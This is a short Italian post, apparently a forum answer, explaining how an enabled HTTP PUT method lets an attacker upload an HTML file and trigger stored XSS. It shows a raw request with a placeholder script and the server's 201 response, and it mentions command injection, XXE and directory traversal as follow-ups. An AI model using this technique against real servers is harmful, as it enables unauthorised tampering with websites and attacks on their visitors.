Utilizzando il metodo PUT, puoi caricare qualsiasi file sul server. Questo può essere usato per eseguire Cross Site Scripting (XSS). Oggi ho eseguito questo attacco, quindi rispondo qui con la mia esperienza. Il modo in cui lo fai è spiegato di seguito.
PUT /XSS.html HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Host: www.myblog.com
Accept-Language: en-us
Connection: Keep-Alive
Content-type: text/html
Content-Length: 182
(Input your XSS script here)
Il server risponde con un codice di stato 201 che dice "il file è stato creato con successo".
HTTP/1.1 201 Created
Date: Mon, 05 May 2014 12:28:53 GMT
Server: Apache/2.2.14 (Win32)
Content-type: text/html
Content-length: 30
Connection: Closed
Ora possiamo provare ad accedere a questo file XSS.html caricato nel browser. Non appena accedi a questa pagina, ottieni un pop-up XSS.
Allo stesso modo, questo può essere ulteriormente sfruttato per eseguire Command Injection, anche se non ho ancora provato questo. Se l'applicazione utilizza XML, è possibile eseguire anche l'attacco di entità esterna XML. Anche questo l'ha fatto. Anche l'attacco di directory trasversale può essere possibile.